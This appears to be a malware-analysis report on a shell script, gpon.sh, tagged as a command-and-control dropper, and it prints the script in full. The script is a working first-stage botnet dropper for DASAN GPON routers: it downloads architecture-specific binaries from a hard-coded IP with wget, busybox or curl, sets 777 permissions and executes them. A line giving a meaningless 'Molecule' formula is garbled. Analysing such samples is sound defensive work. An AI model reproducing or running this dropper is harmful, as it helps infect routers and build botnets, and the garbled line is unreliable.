gpon.sh
C2 dropper executes remote payload
World-writable local binary executionWorld-writable+executable permissions (777)
SHA-2560cf5a4602e07973557db81f3e6ede63a8612cd62ce657eda9995ac4293c21472
MaleculeO₄(C₃DyErS)H₄(F₃Cm₇Os₂Po₄)
Evidence
1#!/bin/sh
2# DASAN GPON stage-1 — slim first, then full; reject truncated downloads
3SERVER="95.155.151.113"
4TAG="gpon"
5
6dl() {
7 rm -f x
8 wget -q -O x "http://$SERVER/d/$_arch" 2>/dev/null || \
9 /bin/busybox wget -O x "http://$SERVER/d/$_arch" 2>/dev/null || \
10 busybox wget -O x "http://$SERVER/d/$_arch" 2>/dev/null || \
11 curl -s -o x "http://$SERVER/d/$_arch" 2>/dev/null
12}
13
14try_one() {
15 _arch=$1
16 _min=$2
17 for _dir in /var /var/tmp /mnt /data /home /tmp /dev /; do
18 cd "$_dir" || continue
19 rm -f x
20 dl || continue
21 [ -f x ] || continue
22 _sz=$(wc -c < x 2>/dev/null || echo 0)
23 [ "$_sz" -gt "$_min" ] || { rm -f x; continue; }
24 chmod 777 x 2>/dev/null
25 "$_dir/x" "$TAG" && exit 0
26 ./x "$TAG" && exit 0
27 rm -f x
28 break
29 done
30}
31
32# Slim (~620k) then full (~730k)
33try_one slim.mpsl 300000
34try_one slim.mips 300000
35try_one xd.mpsl 500000
36try_one xd.mips 500000
37exit 1